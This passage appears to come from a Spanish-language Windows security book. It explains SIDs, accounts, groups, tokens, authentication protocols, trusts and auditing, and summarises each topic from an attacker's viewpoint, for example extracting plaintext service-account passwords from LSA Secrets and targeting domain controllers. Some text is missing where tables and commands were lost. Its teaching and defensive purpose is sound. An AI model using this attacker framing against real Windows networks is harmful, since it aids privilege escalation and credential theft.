que una parte del SID es única para la instalación o el dominio y la otra parte se comparte entre
todas las instalaciones y los dominios (el RID). Cuando Windows se instala, el equipo local ge-
nera un SID aleatorio. De igual manera, cuando se crea un dominio de Windows, se le asigna un
SID único (en páginas posteriores de este capítulo definiremos dominio). Por tanto, para cual-
quier equipo o dominio de Windows, los valores de subautoridad siempre serán únicos (a
menos que lo modifique o lo duplique a propósito, como en el caso de algunas técnicas de du-
plicación de disco de bajo nivel).
Sin embargo, el RID es un valor consistente entre todos los equipos o dominios. Por ejemplo,
un SID con RID 500 es siempre la verdadera cuenta de Administrador en un equipo local. RID
501 es la cuenta de Invitado. En un dominio, los RID que empiezan con 1001 indican cuentas de
usuario. (Por ejemplo, RID 1015 sería la decimoquinta cuenta de usuario creada en el dominio.)
Baste con decir que el cambio de un nombre amigable de una cuenta no hace nada a su SID, de
modo que la cuenta puede identificarse siempre, sin importar cuál sea. Al cambiar el nombre de
la cuenta verdadera de Administrador cambia sólo el nombre amigable; la cuenta siempre es
identificada por Windows (o un hacker malicioso con herramientas apropiadas) como la cuenta
con RID 500.
Un hacker podría verse tentado a alejarse en este punto, sin recordar que Windows automá-
ticamente pasa las credenciales del usuario que inició la sesión actual durante los intentos he-
chos en red. Por tanto, si el usuario hubiera iniciado sesión actualmente como Administrador en
el cliente, éste se interpretaría como un intento de iniciar sesión en el sistema remoto empleando
la cuenta de Administrador local del cliente. Por supuesto, esta cuenta no tiene contexto en el
servidor remoto. Puede especificar manualmente el contexto de inicio de sesión usando el mis-
mo comando net use con el dominio remoto, el nombre del equipo o la dirección de IP unida
al nombre de usuario con una diagonal invertida, como ésta:
Obviamente, debe incluir al principio el nombre del equipo remoto o la dirección IP, si el sis-
tema al que está conectándose no es un miembro de dominio. Recordar este pequeño truco será
útil cuando analicemos las shell remotas en el capítulo 7; la técnica que usamos para desmenuzar
estas shells remotas a menudo da como resultado que una shell se ejecute en el contexto de la
cuenta SYSTEM. Los servidores remotos no pueden interpretar la ejecución de los comandos
net use dentro del contexto LocalSystem, de modo que casi siempre tiene que especificar el
dominio o nombre de equipo, como se muestra en el ejemplo anterior.
S-1-5-21-1507001333-1204550764-1011284298-500
Number of subauthorities is 5
Domain is CORP
Lenght of SID in memory is 28 bytes
Type of SID is SidTypeUser
Name is Administrator
Domain is CORP
Type of SID is SidTypeUser
Observe que el SID debe ingresarse a partir del número identificador de autoridad (que
siempre es 5 en el caso de Windows Server 2003) y que se usan espacios para separar componen-
tes, en lugar de guiones.
Nota Como analizaremos en el capítulo 4, esta información puede extraerse en una sesión no autentificada a
partir de un sistema Windows que ejecute servicios SMB en ciertas configuraciones heredadas.
Usuarios
Cualquier persona que esté más o menos familiarizado con Windows ha encontrado el concepto
de cuentas de usuario. Usamos cuentas para iniciar sesión en el sistema y para acceder a recur-
sos en el sistema y la red. Sin embargo, pocos hemos considerado lo que realmente representa
una cuenta, que es una de las fallas de seguridad más comunes en casi todas las redes.
De manera muy simple, una cuenta es un contexto de referencia en que el sistema operativo
ejecuta código. Puesto de otra manera, todo el código del modo de usuario se ejecuta en el contexto de
una cuenta de usuario. Aun parte del código que se ejecuta automáticamente antes de que cual-
quier persona inicie sesión (como los servicios) se ejecuta en el contexto de una cuenta (a menu-
do como la cuenta especial y todopoderosa SYSTEM o LocalSystem).
Todos los comandos invocados por el usuario que se autentifica con éxito utilizando las
credenciales de cuenta se ejecutan con los privilegios de ese usuario. Por tanto, las acciones reali-
zadas para la ejecución del código están limitadas sólo por los privilegios otorgados a la cuenta
que lo ejecuta. El objetivo del hacker malicioso es ejecutar código con los privilegios más elevados.
Por tanto, el hacker debe “convertirse” en la cuenta con los privilegios más elevados posibles.
Los usuarios (personas con presencia física) son distintos de las cuentas de usuario (manifestaciones
Nota
digitales que pueden usurparse fácilmente si se tiene conocimiento de las credenciales apropiadas).
Aunque en este libro podemos borrar un poco esta distinción, sin intención de nuestra parte, debe tener
esto presente.
Cuentas integradas
Windows incluye en el paquete cuentas integradas que reciben privilegios predefinidos. Estas
cuentas predeterminadas incluyen la cuenta local de Administrador, que es la cuenta de usuario
de Windows con más poder. (En realidad, la cuenta SYSTEM es desde el punto de vista técnico
la más privilegiada, pero Administrador puede ejecutar comandos como SYSTEM muy fácil-
mente usando el servicio de calendario para lanzar una shell de comandos, por ejemplo). En la
tabla 2-1 se presenta una lista de las cuentas integradas predeterminadas en varias versiones de
Windows.
Tome en cuenta unas cuantas advertencias relacionadas con la tabla 2-1:
Cuentas de servicio
Cuenta de servicio es un término no oficial usado para describir una cuenta de usuario de Win-
dows que lanza y ejecuta un servicio de manera no interactiva (un término computacional más
tradicional es cuentas de procesamiento por lotes). Por lo general, las personas no usan las cuentas
de servicio para inicio de sesión interactivo, sino para iniciar y ejecutar rutinas automatiza-
das que proporcionan cierta funcionalidad continua al sistema operativo. Por ejemplo, el servi-
cio de indexación, que indexa el contenido y las propiedades de archivos en equipos locales y
remotos, y se localiza en %systemroot%\System32\cisvc.exe, puede configurarse para iniciar en
el tiempo de arranque usando la applet Servicios del Panel de control. Para que se ejecute es-
te ejecutable, debe autentificarse en el sistema operativo. Por ejemplo, el servicio de Indexación
se autentifica y ejecuta como la cuenta LocalSystem en Windows Server 2003 en su configura-
ción predeterminada.
El surgimiento de los SID específicos del servicio en Vista permite que el Administrador de control de
Nota servicios (SCM, Service Control Manager) asigne SID a procesos de servicios cuando empiezan, lo
que mejora la especificidad del control de acceso sobre el modelo simple basado en cuentas (aunque
aún se usen éstas).
Las cuentas de servicio son un mal necesario en Windows. Debido a que todo el código debe
ejecutarse en el contexto de una cuenta, no pueden evitarse. Por desgracia, debido a que están
diseñadas para autentificar de manera automatizada, las contraseñas para estas cuentas deben
proporcionarse al sistema sin interacción humana. En realidad, Microsoft diseñó la familia Win-
dows NT para incluir en caché las contraseñas de cuentas de servicio en el sistema local. Esto se
hizo por la simple conveniencia de que muchos servicios necesitan empezar antes de que la red
esté disponible (en tiempo de arranque) y, por tanto, no pueden autentificarse para controlado-
res de dominio. Al incluir en caché las contraseñas localmente, se evita esta situación. He aquí el
resumen:
Las contraseñas de cuentas de servicio que no son SYSTEM se almacenan en texto simple en una parte
del Registro llamada Secretos LSA, que sólo es accesible para LocalSystem.
Resaltamos esta frase porque lleva a una de las principales fallas de seguridad del sistema
operativo Windows: si un hacker malicioso puede comprometer un sistema de la familia Win-
dows NT con privilegios equivalentes a Administrador, puede extraer las contraseñas en texto
simple para las cuentas de servicio de ese equipo.
Tal vez esté diciendo “Bravo”, si ya es el equivalente a un Administrador del equipo; “¿Qué
uso adicional tienen las cuentas de servicio?”. Aquí es donde las cosas se ponen difíciles: las
cuentas de servicio pueden ser cuentas de dominio o incluso cuentas de otros dominios confia-
bles. (Consulte la sección “Confianzas”, en páginas posteriores de este capítulo). Por tanto, con
esta falla pueden exponerse las credenciales de otros dominios de seguridad. Leerá más acerca
de la manera en que se hace esto en el capítulo 7.
Sugerencia
Recomendamos encarecidamente que se nieguen a todas las cuentas de servicio los derechos de
inicio de sesión interactivo empleando directivas de máquina o de dominio para evitar que un intruso
humano use esas credenciales de manera interactiva.
Endurecimiento del servicio Los servicios representan un gran porcentaje de la superficie de ata-
que general en Windows debido a que suelen estar siempre habilitados y se ejecutan con los pri-
vilegios más elevados. En gran medida debido a esto, Microsoft empezó a dar pasos para redu-
cir el riesgo de la ejecución de servicios en versiones más recientes del sistema operativo.
Uno de los primeros pasos fue ejecutar servicios con los menores privilegios, un principio de
control de acceso muy aceptado. A partir de Windows Server 2003, Microsoft creó dos nuevos
grupos integrados denominados Servicio Local y Servicio de Red y empezó a ejecutar más ser-
vicio empleando estas cuentas de privilegios menores en lugar de la cuenta todopoderosa Local-
System. (Hablaremos más acerca de los servicios locales y de red en todo este capítulo).
En Vista, Microsoft implementó el endurecimiento de servicio de Windows, que definió SID
por servicio. Esto hizo que efectivamente ciertos servicios se comportaran como usuarios únicos
(una vez más, en oposición a la identidad genérica y con altos privilegios LocalSystem). Ahora
la configuración predeterminada de control de acceso de Windows podía aplicarse a los recursos
para que fueran privados para el servicio, evitando que otros servicios y usuarios accedieran al
recurso.
Lo importante
He aquí un resumen de las cuentas de Windows desde la perspectiva de un hacker malicioso:
Los administradores y la cuenta SYSTEM son los destinos más jugosos en un sistema Windows
porque son las cuentas más poderosas. Todas las demás cuentas tienen privilegios limitados
en relación con los Administradores y SYSTEM (y una posible excepción son las cuentas de
servicio). Comprometer a los Administradores o la cuenta SYSTEM es, por tanto, casi siempre
el objetivo final de un atacante.
Grupos
Los grupos son sobre todo una conveniencia administrativa: son contenedores lógicos para agre-
gar cuentas de usuario. (También pueden usarse para configurar listas de distribución de correo
electrónico en Windows 2000 y posteriores, que históricamente no han tenido implicaciones de
seguridad).
Los grupos también se usan para asignar privilegios en masa, lo que puede tener un elevado
impacto en la seguridad de un sistema. Las distintas versiones de Windows incluyen grupos in-
tegrados, contenedores predefinidos para usuario que también poseen distintos niveles de pri-
vilegio. Cualquier cuenta colocada dentro de un grupo hereda esos privilegios. El ejemplo más
simple es la adición de cuentas al grupo local Administradores, lo que asciende, en esencia, al
usuario agregado a un estatus todopoderoso en la máquina local. (Verá que se intenta esto mu-
chas veces en todo el libro). En la tabla 2-2 se presenta una lista de grupos integrados en Win-
dows Server 2003. Otras versiones de Windows pueden tener menos grupos integrados, o
diferentes, pero los que aparecen en la tabla 2-2 son los más comunes.
Es posible usar una unidad organizativa (OU, Organizational Unit), además de los grupos, para agregar
Nota
cuentas de usuario, las OU son construcciones definidas arbitrariamente por Active Directory y no
poseen privilegios inherentes como las cuentas integradas de grupos de seguridad.
Para resumir los grupos de Windows desde la perspectiva del hacker malicioso:
Los miembros del grupo local de Administradores son los objetivos más jugosos en un sistema
Windows porque los miembros de este grupo heredan el control completo del sistema local. Los
Administradores de dominio y los Administradores de organización son los objetivos más
jugosos en un dominio de Windows, porque los miembros de estos grupos son todopoderosos
en todos los equipos (apropiadamente configurados) en el dominio. Todos los otros grupos
poseen privilegios muy limitados en relación con los Administradores, los Administradores de
dominio y los Administradores de organización. Volverse uno de éstos (ya sea mediante
un compromiso directo de una cuenta existente o la adición de una cuenta ya comprometida
a uno de esos grupos) es, por tanto, casi siempre el objetivo final del atacante.
Identidades especiales
Además de los grupos integrados, Windows tiene varias identidades especiales (en ocasiones lla-
madas grupos conocidos), que son contenedores de cuentas que pasan transitivamente a través de
ciertos estados (como haber iniciado sesión en la red) o desde ciertos lugares (como interacti-
vamente en el teclado). Estas identidades pueden usarse para afinar el control de acceso a los
recursos. Por ejemplo, el acceso a ciertos procesos puede estar reservado sólo para usuarios IN-
TERACTIVOS (y, por tanto, bloqueados para todos los usuarios autentificados en red). Estos
grupos conocidos pertenecen al “dominio” NT AUTHORITY, de modo que para hacer referencia
a su nombre plenamente calificado, diría NT AUTHORITY\Todos, por ejemplo. En la tabla 2-4 se
presenta una lista de las identidades especiales de Windows.
Algunos puntos clave que vale la pena indicar en relación con estas identidades especiales:
Puede utilizarse el grupo Inicio de sesión anónimo para poner el pie en un sistema Windows
sin autentificación. Además, la identidad INTERACTIVO se requiere en muchos casos para
ejecutar ataques de escalada de privilegios contra Windows (consulte el capítulo 7).
Grupos restringidos
Un concepto muy ingenioso que se introdujo con Windows 2000, los grupos restringidos, permi-
te a un administrador establecer una directiva de dominio que restringe la membresía de un
grupo determinado. Por ejemplo, si un usuario no autorizado se agrega al grupo local de Admi-
nistradores en un miembro de dominio, tras la siguiente actualización de la Directiva de grupo,
esa cuenta se eliminará, de modo que esa membresía refleje lo que se ha definido en la directiva
de grupos restringidos. Estos parámetros de actualizan cada 90 minutos en el equipo de un
miembro, cada 5 minutos en un controlador de dominio y cada 16 horas, hayan o no ocurrido
cambios.
equipo. (Consulte la próxima sección “Bosques, árboles y dominios”). De otra manera, las con-
traseñas de equipo se almacenan y acceden como cualquier otra contraseña de cuenta de usua-
rio. (Consulte la próxima sección “El SAM y Active Directory”). Como opción predeterminada,
se restablecen cada 30 días, pero los administradores pueden configurar un intervalo diferente,
si lo desean.
El uso principal para las cuentas de equipo es la creación de un canal seguro entre el equipo
y el controlador de dominio con el fin de intercambiar información. Como opción predetermina-
da, ese canal seguro no está cifrado (aunque parte de la información que pasa por él ya lo está,
como los hashes de contraseña), y su integridad no está verificada (por tanto, lo hace vulnerable
al espionaje o a los ataques de personas intermediarias). Por ejemplo, cuando un usuario inicia
sesión en un dominio desde un equipo miembro del dominio, el intercambio de inicio de sesión
ocurre en el canal seguro registrado entre el miembro y el controlador de dominio.
Nunca hemos escuchado de un caso donde la explotación de una cuenta de máquina haya
dado como resultado una exposición seria, de modo que no analizaremos esto con mucho deta-
lle en este libro.
Derechos de usuario
Recuerde el objetivo principal del atacante, establecido desde el principio de este capítulo:
Ejecutar comandos en el contexto más privilegiado, para obtener acceso a recursos y datos.
Acabamos de describir algunos de los contextos de cuentas de modo de usuario con “mayo-
res privilegios”, como Administrador y LocalSystem. ¿Qué hace a estas cuentas tan poderosas?
En una palabra (cuatro palabras, en realidad): los derechos de usuario. Se trata de un conjunto fini-
to de capacidades básicas, como inicio de sesión local o depuración de programas. Se usan en el
modelo de control de acceso, además del estándar de comparación entre los SID de ficha de acce-
so y los descriptores de seguridad. Los derechos de usuario suelen asignarse a grupos, porque
esto los hace más fáciles de manejar que si se asignaran constantemente a usuarios individuales.
Por esto la membresía en grupos es tan importante: porque el grupo suele ser la unidad de asig-
nación de privilegios.
Pueden otorgarse dos tipos de derechos de usuario: derechos de usuario de inicio de sesión y
privilegios. Ésta es simplemente una clasificación semántica para diferenciar a los derechos que
se aplican antes y después de que una cuenta sea autentificada, respectivamente. Están disponi-
bles más de 40 derechos de usuario discretos en Windows Server 2008 (nombre de código Long-
horn), y aunque cada uno puede tener un fuerte impacto en la seguridad, sólo analizaremos los
que tradicionalmente lo han tenido. En la tabla 2-5 se delinean algunos de los privilegios que
consideramos críticos, junto con nuestras configuraciones recomendadas.
Tome en cuenta que la “negación” de derechos invalida a sus correspondientes derechos
“permitidos”, si una cuenta es sujeto de ambas directivas.
En Windows Server 2003 se implementaron algunos derechos de usuario relacionados con la
seguridad, entre los que se incluyen los siguientes:
Los derechos relacionados con los Servicios de terminal se implantaron para atender un
hueco en los derechos “Permitir/negar acceso al equipo desde la red”, que no se aplica a los ser-
vicios de terminal. El derecho “Suplantar la personalidad de un cliente después de la autentifi-
cación” se agregó para ayudar a mitigar los ataques de escalada de privilegios en que los servicios
con menos privilegios suplantaban la personalidad de clientes con privilegios más elevados.
Al final, pero no por ello menos importante en nuestro análisis de los derechos de usuario, se
encuentra el recordatorio de que siempre se debe usar el principio de la menor cantidad de privile-
gios. Vemos que demasiadas personas inician sesión con cuentas equivalentes a Administrador para
realizar tareas cotidianas. Al tomar un poco de tiempo de antemano para pensar los derechos de
usuario apropiados, se pueden aliviar todas las vulnerabilidades de seguridad importantes analiza-
das en este libro. Inicie sesión como un usuario con la menor cantidad de privilegios y use la herra-
mienta runas (consulte el capítulo 12) para escalar los privilegios a medida que sean necesarios.
cuenta y una contraseña. La utilería de inicio de sesión segura pasa las credenciales ingresadas
a través de los componentes del modo de usuario responsables de validarlos (sobre todo LSASS).
Suponiendo que las credenciales son válidas, LSASS crea una ficha (o ficha de acceso), que lue-
go se adjunta a la sesión de inicio de sesión de usuario y se produce en cualquier intento sub-
secuente de acceso a los recursos.
La interfaz de usuario de inicio de sesión segura previa a Vista puede ser atacada mediante un caballo
Nota
de Troya por parte de usuarios equivalentes a Administradores, como analizaremos en el capítulo 7. A
partir de Vista, un nuevo marco conceptual de proveedor de credenciales (CP, Credencial Provider) hace
que esos ataques resulten obsoletos, aunque un CP malicioso tiene el mismo peligro.
Sugerencia En Windows XP y posterior, oprima las teclas windows y l simultáneamente para bloquear su
escritorio; se trata de una opción a oprimir ctrl+alt+supr y luego enter.
La ficha
La ficha contiene una lista de todos los SID relacionados con la cuenta de usuario, incluidos el
SID de la cuenta y los SID de todos los grupos e identidades especiales de los que es miembro la
cuenta de usuario (por ejemplo, Administradores de dominio o INTERACTIVO). Puede usar
una herramienta como whoami (incluida como opción predeterminada a partir de Windows
Server 2003) para descubrir cuáles SID están relacionados con una sesión de inicio de sesión,
como se muestra a continuación (muchas líneas se han truncado debido a las restricciones del
ancho de páginas):
INFORMACIÓN DE USUARIO
----------------------
INFORMACIÓN DE GRUPO
--------------------
Con este ejemplo se muestra que el proceso actual se ejecuta en el contexto del usuario
jsmith, que es un miembro de Administradores y Usuarios autentificados y también pertenece a
las identidades especiales Todos, LOCAL e INTERACTIVO.
Cuando jsmith trata de acceder a un recurso, como un archivo, el subsistema de seguridad
de Windows compara su ficha con la DACL en el objeto, que especifica los SID que son permiti-
dos para acceder al objeto e incluye las maneras en que puede accederse a él (como lectura, es-
critura, ejecución, etcétera). Si uno de los SID de la ficha de jsmith coincide con un SID en la
DACL, entonces se le otorga acceso como está especificado en ésta. Un diagrama del proceso se
muestra en la figura 2-2.
Impersonalización
Para ahorrar exceso de trabajo en la red, la familia Windows NT se diseñó para la impersonaliza-
ción de un contexto de cuenta de usuario cuando solicita acceso a los recursos en un servidor
remoto. La impersonalización funciona al dejar que el servidor notifique al subsistema de segu-
ridad que está adoptando temporalmente la ficha del cliente al hacer la solicitud de recursos.
Luego el servidor puede acceder a recursos a nombre del cliente y el subsistema de seguridad
valida todos los accesos como normales. El ejemplo clásico de impersonalización es la solicitud
anónima de páginas Web mediante IIS. IIS adquiere la personalidad de la cuenta IUSR_nombre-
máquina durante todas estas solicitudes.
Ficha restringida
En Windows 2000 se introdujo la ficha restringida. Una ficha restringida suele asignarse a un pro-
ceso secundario para que tenga un acceso más limitado que su proceso principal. Por ejemplo,
una aplicación podría derivar una ficha restringida del proceso principal o la ficha de suplanta-
ción de personalidad para ejecutar un módulo con código no confiable, en caso de que pudieran
realizarse acciones inapropiadas empleando los privilegios completos de la ficha principal.
Las fichas restringidas se crean al hacer cualquiera de los siguientes cambios a la ficha de
acceso original:
• Eliminación de privilegios
• Aplicación del atributo sólo negar a SID
• Adición de una lista de SID restringidos
El acceso sólo se otorga si ambas comprobaciones permiten los derechos de acceso soli-
citados.
Delegación
La delegación fue una nueva característica en Windows 2000 que permitía a un servicio suplan-
tar la personalidad de una cuenta de usuario o de equipo para acceder a recursos en todo el do-
minio. Windows 2000 tenía dos limitaciones en relación con esta característica:
• La delegación no podía restringirse; es decir, una cuenta de delegado podía acceder a
cualquier recurso del dominio.
• La delegación requería autentificación de Kerberos.
Ambas restricciones fueron atendidas en Windows Server 2003. Ahora la delegación puede res-
tringirse a servicios específicos y ya no se requiere Kerberos.
precaución Aun debe estar consciente de las cuentas de equipo de confianza para delegación, porque esto
permite que la cuenta LocalSystem en ese equipo acceda a servicios en el dominio.
2. La LSA se ha modificado para otorgar dos fichas al inicio de sesión para cuentas
administrativas: una ficha filtrada y una vinculada. La ficha filtrada tiene eliminados todos
los privilegios elevados (utilizando el mecanismo de ficha restringida descrito antes).
3. Las aplicaciones se ejecutan como opción predeterminada empleando la ficha filtrada;
la ficha vinculada de privilegios completos sólo se usa cuando se lanzan aplicaciones
que están marcadas como que requieren privilegios elevados.
4. Se pide al usuario que use un entorno de consentimiento especial (el resto de la sesión
está atenuada y es inaccesible) si en realidad quieren lanzar el programa, y puede
pedírsele credenciales apropiadas si no son miembros de un grupo administrativo.
Suponiendo que los desarrolladores de aplicaciones tienen un buen comportamiento, Vista
alcanza el control de acceso obligatorio de un tipo: sólo pueden lanzarse aplicaciones específicas
con privilegios elevados.
He aquí cómo el Control de cuentas de usuario usa a MIC: todos los procesos de usuario no
administrativos se ejecutan con un nivel de integridad Medio, como opción predeterminada.
Una vez que se ha “elevado” un proceso empleando el Control de cuentas de usuario, se ejecuta
con nivel de integridad Alto y, por tanto, puede acceder a objetos de ese nivel. Por tanto, ahora
es “obligatorio” tener privilegios de nivel de integridad Altos para acceder a ciertos objetos den-
tro de Windows.
MIC también se encuentra bajo la implementación de LoRIE en Vista: el proceso Internet Ex-
plorer (iexplore.exe) se ejecuta en un nivel de integridad Bajo y, en un sistema con una configura-
ción predeterminada, sólo puede escribir en objetos con un SID de nivel de integridad Bajo (como
opción predeterminada, esto sólo incluye la carpeta %USERPROFILE%\AppData\LocalLow y la
clave de Registro HKCU\Software\AppDataLow). Por tanto, LoRIE no puede escribir en ningún
otro objeto del sistema, como opción predeterminada, restringiendo en gran medida el daño que
puede hacerse si el proceso se ve comprometido por malware mientras explora Internet.
precaución
En la versión de Vista, se han tomado provisiones para permitir que código no marcado se ejecute
con privilegios administrativos. En futuras versiones, la única manera de ejecutar una aplicación
elevada será tener un manifiesto firmado que identifique el nivel de privilegio que necesita la
aplicación.
precaución El Control de cuentas de usuario puede deshabilitarse en todo el sistema bajo la configuración
Activar o desactivar el Control de cuentas de usuario de la applet Cuentas de usuario del Panel de
control.
Autentificación de red
La autentificación local en Windows mediante la combinación del teclado ctrl-alt-supr es sim-
ple, como ya lo describimos. Sin embargo, para iniciar sesión en Windows en red, el objetivo prin-
cipal del hacker malicioso, se requiere la explotación de la autentificación en red. Analizaremos
esto de manera breve aquí y presentaremos análisis informados en capítulos posteriores sobre
varias debilidades relacionadas con algunos componentes de protocolos de autentificación de
red de Windows.
La familia NT utiliza principalmente autentificación tipo desafío/respuesta, en la que el servi-
dor emite un valor aleatorio (el desafío) al cliente, que luego le aplica hash criptográfico utilizan-
do el hash de la contraseña del usuario y envía este valor con un nuevo hash (la respuesta) de
regreso al servidor. Entonces el servidor toma su copia del hash del usuario del Administrador
de cuentas de seguridad (SAM, Security Accounts Manager) o de Active Directory (AD), utiliza
el hash en el desafío que acaba de enviar y lo compara con la respuesta del cliente. Por tanto, nin-
guna contraseña jamás recorrerá un cable durante la autentificación de la familia NT, ni siquiera en forma
cifrada. El mecanismo de desafío/respuesta se ilustra en la figura 2-3 y se describe de manera
más completa en el artículo Q102716 de la base de conocimientos (KB, Knowledge Base).
El paso 3 de este diagrama es el más crítico. La familia NT puede usar uno de tres diferentes
algoritmos de hash para barajar el desafío de 8 bytes:
En el capítulo 5, analizaremos una debilidad con el hash LM que permite que un atacante
con la capacidad de escuchar a escondidas en la red adivine el hash de la contraseña con relativa
facilidad; luego el hacker puede usarlo para tratar de adivinar la contraseña real fuera de línea
(¡aunque el hash de la contraseña nunca haya recorrido la red!).
Para combatir esto, Microsoft liberó un algoritmo mejorado sólo para NT, NTLM, con NT 4
Service Pack 3 y una posterior versión asegurada en NT 4 SP4 llamada NTLM v2. Los clientes de
Windows 95/98 no implementan nativamente NTML de modo que la seguridad ofrecida por
NTLM y NTLMv2, por lo general no se desplegaba en el pasado en redes combinadas. (La utile-
ría DSClient que se incluye en el CD-ROM de Windows 2000 actualiza a los clientes de Windows
9x para que puedan realizar autentificación NTLM y NTLMv2).
Los entornos homogéneos de Windows 2000 y posterior pueden usar el protocolo integrado
Kerberos v5 que se introdujo en Windows 2000; sin embargo, Windows Server 2003 es comple-
tamente compatible hacia atrás con LM, NTLM y NTLMv2 y se ajustará hacia abajo al protocolo
apropiado de autentificación si no se puede negociar Kerberos. Éste sólo se usará si tanto el clien-
te como el servidor le dan soporte, se hace referencia a ambas máquinas por su DNS o su nombre
de máquina (no su dirección IP) y el cliente y el servidor pertenecen al mismo bosque (a menos
que se use una implementación de Kerberos de terceros).
PRECAUCIÓN Como analizamos en el capítulo 5, Kerberos es susceptible para los ataques de escucha.
La configuración Sólo invitado podría ser útil en sistemas con demasiadas transferencias de
archivos para forzar niveles de acceso equivalentes entre tranferencias. Sin embargo, recomen-
damos apegarse a Clásico, ya que consideramos que es mejor ser explícitos acerca del control de
acceso.
SYSKEY
Bajo NT, los hashes de contraseña se almacenaban directamente en el archivo SAM. A partir de
NT 4 Service Pack 3, Microsoft proporcionó la capacidad de agregar otra capa de cifrado a los
hashes de SAM, llamada SYSKEY, que es una abreviatura de SYStem KEY (clave del sistema), y
que deriva, en esencia, una clave aleatoria de 128 bits y cifra de nuevo los hashes (no el propio
archivo SAM, sólo los hashes).
Para habilitar SYSKEY en NT 4, tiene que ejecutar el comando SYSKEY, que presenta una
ventana como la siguiente:
Las versiones modernas de Windows (hasta Server 2008, incluida) aún implementan el modo
1 de SYSKEY como opción predeterminada y, por tanto, las contraseñas almacenadas en SAM o
Active Directory se cifran con SYSKEY, además de incluirse como hash. No tiene que habilitarse
manualmente con NT 4 SP3 y posterior.
Bosque
Árbol Confianzas transitivas de
dos vías en todo el bosque
corp.com
(Raíz de bosque, primer bosque de dominio) division.com
Dominio
Aunque estamos anticipando una gran cantidad de detalles acerca de Active Directory, va-
mos a detener este análisis aquí para seguir concentrados en el aspecto de los dominios que son
el principal objetivo de los atacantes maliciosos: la información de cuenta.
Confianzas
Windows puede formar relaciones entre dominios llamadas confianzas. Las relaciones de confianza
sólo crean la posibilidad de acceso entre dominios; no lo habilitan explícitamente. Por tanto, a me-
nudo una relación de confianza se explica como si se construyera un puente sin poner una caseta
de peaje. Por ejemplo, un dominio de confianza puede usar directivos de seguridad del dominio de
confianza para poblar las listas de control de acceso (ACL) de los recursos, pero esto es sólo a discre-
ción de los administradores de dominio de confianza y no está configurado inherentemente.
Puede decirse que las confianzas son de una vía o de dos vías. Una confianza de una vía sig-
nifica que sólo un dominio confía en el otro, y no viceversa. Las confianzas de dos vías definen
dos dominios que confían entre sí. Una confianza de una vía es útil para permitir que los admi-
nistradores de un dominio definan reglas de control de acceso dentro de su dominio, pero no a
la inversa.
Las confianzas también pueden ser transitivas o no transitivas. En las primeras, si el dominio
A confía de manera transitiva en el B y éste en el C, entonces el dominio A confía transitivamen-
te en el C.
Como opción predeterminada, todos los dominios dentro de un bosque de Windows (posterior a NT)
tienen confianzas transitivas, de dos vías, entre sí. Windows puede establecer confianzas de una vía,
no transitivas, con otros dominios fuera del bosque o con dominios NT heredados. También
puede establecer confianzas con otros bosques. (Consulte la siguiente sección, “Confianzas de
bosques”).
Si organizaciones individuales:
Confianzas de bosques
En Windows 2000, no había manera de establecer confianzas entre bosques. Si los usuarios de un
bosque necesitaban acceso a los recursos de un segundo bosque, estaban limitados a crear una
relación de confianza externa entre los dominios dentro de cualquier bosque. Esas confianzas son
de una vía, no transitivas y, por tanto, no extienden las rutas de confianza a todos los bosques.
En Windows Server 2003 se introdujeron las confianzas de bosques, un nuevo tipo de confianza
que permite a todos los dominios de un bosque confiar (transitivamente) en todos los dominios
de otro bosque, mediante un simple vínculo de confianza entre los dos dominios raíz del bos-
que. El principal beneficio de esta característica es que proporciona a las empresas que adquie-
ren o se fusionan con otras compañías la ruta de integración más fácil para sus infraestructuras
existentes.
Para crear una confianza de bosques, todos los controladores de dominio en ambos bosques
deben estar ejecutándose en modo nativo (lo cual requiere que todos los controladores de domi-
nio sean de Windows Server 2003 o posterior).
Las confianzas de bosques pueden ser de una o de dos vías, pero no son restrictivas en el nivel del
Nota
bosque entre tres o más bosques. Si el bosque A confía en el B y éste confía en el C, esto no crea una
relación de confianza entre el bosque A y el C.
Firewall de autentificación Como opción predeterminada, los usuarios de bosques confiables son
capaces de autentificarse en cualquier recurso del otro bosque mediante la identidad Usuarios
autentificados, a menos que la opción Autentificación selectiva se haya establecido en la confian-
za. Eso permite el firewall de autentificación, una nueva característica en Windows Server 2003 que
permite a los usuarios autentificarse sólo en recursos seleccionados a través de una confianza de
modo nativo.
El firewall de autentificación detiene todas las autentificaciones en los controladores de do-
minio en el bosque del recurso. El controlador de dominio agrega el SID Otra empresa (consulte
la tabla 2-4) para la ficha de autentificación del usuario. Este SID se revisa contra un derecho Per-
miso para autentificar en un objeto para el usuario o grupo especificado del otro bosque o domi-
nio (esto debe haberse configurado manualmente de antemano). Si esta verificación tiene éxito,
el SID Esta empresa se agrega a la ficha de autentificación del usuario, reemplazando el SID Otra
empresa (sólo puede dejar uno o el otro).
Recuerde que las confianzas de bosques sólo son posibles en dominios en modo nativo de Windows Server
Nota 2003 y posteriores, de modo que sólo en este escenario puede usarse un firewall de autentificación.
Lo más importante
He aquí un resumen de bosques, árboles y dominios en Windows desde la perspectiva de un
hacker malicioso.
Los controladores de dominio son el objetivo más probable de los ataques maliciosos, porque
albergan una gran cantidad de información de cuentas. También es probable que, en un entorno
de Windows, sean los sistemas más asegurados y monitoreados, de modo que un plan común
consiste en atacar sistemas defendidos con menos eficiencia en un dominio, y luego utilizar este
punto de apoyo temprano para obtener después el control completo de cualquier dominio
relacionado con él. La extensión del daño hecho a través del compromiso de un solo sistema
mejora en gran medida cuando las cuentas de un dominio son autentificadas en otro dominio
mediante el uso de confianzas. El límite de seguridad de Windows 2000 y posteriores es el
bosques, no el dominio, como lo era bajo NT. Las confianzas de bosque pueden configurarse
entre bosques de modo nativo de Windows Server 2003 y posteriores, extendiendo los límites de
la seguridad entre ambos bosques, a menos que esté habilitada la firewall de autentificación.
AUDITORÍA
Hemos hablado mucho acerca de la autentificación y el control de acceso hasta ahora, pero en un
sistema de seguridad de la familia NT puede hacer muchas cosas más que sólo otorgar o negar el
acceso a recursos. También puede auditar ese acceso. La directiva de auditoría de Windows se define
a través de la directiva de seguridad. En esencia, define cuáles sucesos se registran, y se adminis-
tra a través del subsistema de autoridad de seguridad local (una vez más, LSASS, Local Security
Authority SubSystem). Las partes del modo de kernel del subsistema de seguridad funcionan en
concierto con el administrador de objetos de Windows para generar registros de auditoría y enviar-
los a LSASS. Éste agrega detalles relevantes (el SID de la cuenta que realiza el acceso, etcétera) y los
escribe en el Registro de sucesos, que a su vez lo registra en el Registro de sucesos de seguridad.
Si se establece auditoría para un objeto, se asigna una lista de control de acceso del sistema
(SACL, System Access Control List) al objeto. La SACL define las operaciones mediante las cua-
les los usuarios deben iniciar sesión en el registro de auditoría de seguridad. Pueden auditar los
